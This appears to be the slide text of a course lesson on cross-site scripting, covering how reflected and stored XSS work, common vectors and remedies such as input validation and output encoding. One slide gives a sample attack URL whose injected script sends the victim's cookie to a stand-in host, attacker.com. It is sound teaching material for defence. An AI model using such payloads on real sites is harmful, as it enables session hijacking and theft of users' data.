Prevent Cross-Site Scripting (XSS) attack SEC835 Prevent Cross-Site Scripting (XSS) attack

Cross-Site Scripting Instead of attacking the application’s server platform, Cross-Site Scripting (XSS) attacks are aimed at the users’ client browsers. A Cross Site Scripting vulnerability allows the introduction of malicious content (scripts) on a web site, that is then served to users (clients) Malicious scripts get executed on clients that trust the web site Problem with potentially all client-side scripting languages We use “XSS” to refer to these vulnerabilities, so as to avoid confusion with “CSS” (cascading style sheets)

Cross-Site Scripting (XSS) Attacks A classical XSS attack works this way: The attacker identifies a web site that has one or more XSS bugs (for example echoing data input, or lacking data input validation) The attacker crafts a special URL that includes a malformed and malicious querystring containing HTML and script The attacker finds a victim and gets him to click the link The victim clicks the link and the victim’s browser makes a GET request to the vulnerable server, passing the malicious querystring. And cookies. The vulnerable server echoes malicious input, including the script, back to the victim’s browser The victim’s browser executes the malicious script, which may be crafted to pass data from the victim to the attacker, or other actions

Cross-Site Scripting Effects This might reveal session identifiers and other sensitive data stored in form values. Cookies may be changed The attacker can replay cookies to reach the domain content previously available to the victim only Remote-control of the browser by an attacker is also possible through advanced scripts Legitimate sites spoofed

Cross-Site Scripting Attack in Action The attacker sends a victim a link containing a malicious payload. The victim, tricked into clicking the link, sends a request (and the payload) to the vulnerable application interface. The interface (i.e. a user registration form) accepts the request (and payload), and responds with a confirmation screen. Embedded in the confirmation screen is the malicious code, which has been formatted in such a way that a browser will interpret it as if it were any other JavaScript code. When the victim receives the response, the browser executes the payload, which could send cookie values (including session identifiers) and other sensitive data to the attacker.

Cross-Site Scripting Attack sample A sample attack link (to view cookie values) might look like this: https://vulnserver.com/vulninterface.cgi?FirstName=Bob&EmailAddress=x”><script>document.location%3d‘http://attacker.com/c=‘+document.cookie;</script><“ When the server sends back its response, the HTML code will be formatted as follows: … <form action=“…”> Thank you for registering! <input name=“FirstName” value=“Bob”> <input name=“EmailAddress” value=“x”><script>document.location=‘http://attacker.com/c=‘+document.cookie;</script><“”> </form> The result is that the <script> block is executed and an entry will be made in the attacker’s web server log which includes the content of a victim’s cookie.

Common XSS Attack Vectors Search engines that echo the search keyword that was entered Error messages that echo the string that contained the error Forms that are filled out where values are later presented to the user Web message boards that allow users to post their own messages

Is there a need of ‘click”? No, there is not Script execution may be initiated by many other means, for example by a mouseover event, or onload, or other

XSS Vulnerability – Type 2 XSS Type 2 has been implemented via Stored data Local html files stored on a user’s computer HTML help files HTML resources

XSS Vulnerability – Type 2 XSS Type 2 has been implemented via stored data The attacker enters comments or text that contains an embedded script, in a forum, newsgroup, feedback section of a web site, etc... The malicious code is stored by the vulnerable site, and presented to visitors. Each instance can be thought of as a "mine". The victim reads the comments. The attacker’s code is executed on the victim’s computer.

JavaScript urls JavaScript urls have the format "javascript:code" An example JavaScript url is javascript:alert("Hello World") Type it in your browser's address bar, watch the alert window popup Works also in HTML links "javascript:alert(document.cookie)" JavaScript urls could be injected into the history list and then executed in the local machine zone or some other zone

Indirect Ways to Inject Code ActionScript (Flash) can load a JavaScript script from a url Flash objects can be specified with the <embed> tag ActionScript allows the getURL("url") function call The url can be a JavaScript url! Forums that allow Flash content are vulnerable People viewing the Flash content get a trojan JavaScript See http://www.cgisecurity.com/lib/flash-xss.htm

XSS attacks against local HTML files Local html files stored on the computer may have a predictable location, e.g. My web Can provide output of user’s input as well Thus can be used by an attacker to craft XSS HTML Help files are potentially vulnerable to XSS

XSS Attacks against HTML Resources Browsers provide the ability to extract and display resources, such as text messages, images, html files, from DLL, or EXE files If the resource takes input from the URL and displays that, you might have an XSS issue This means you should validate resource HTML data. Untrusted HTML input must run through an HTML policy engine to ensure that it does not contain XSS

Prevent Cross-Site Scripting The strategy for preventing XSS: Filtering user-supplied input for meta-characters that may be interpreted by the client application Encoding output by converting meta-characters into neutral aliases (i.e. HTML code) Prevent social engineering Educate users Explain what ways of communication are valid Include messages to the website to advise about known frauds

Remedies Strong data input validation Be hard-core about what constitutes valid input As specific as possible Provided closer to the data usage Based on the white-list approach Validated on the server side

White- vs. Black-List (Diagram)

Remedies Implemented by web developers Encoding output Forcing the codepage Adding double quotes around all tag properties Inserting data in the innerText property Browser hardening

Remedies details Encoding output Forcing the codepage Convert dangerous symbols, including html tags, to their html representation E.g. < becomes &lt For ASP use HTMLEncode method Forcing the codepage Set a codepage explicitly by specifying the allowable charset

Remedies details Adding double quotes around the tag properties prevent interpretation of the part of the tag, where malicious scripts can be placed innerText makes a similar effect Browser hardening and security patching

Lab task Work on the spreadsheet re Vulnerability Cell O3 – put your comments The venues leading to XSS Work on the spreadsheet re Countermeasures Cells A11 – put your comments How to prevent XSS http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet http://en.wikipedia.org/wiki/Cross-site_scripting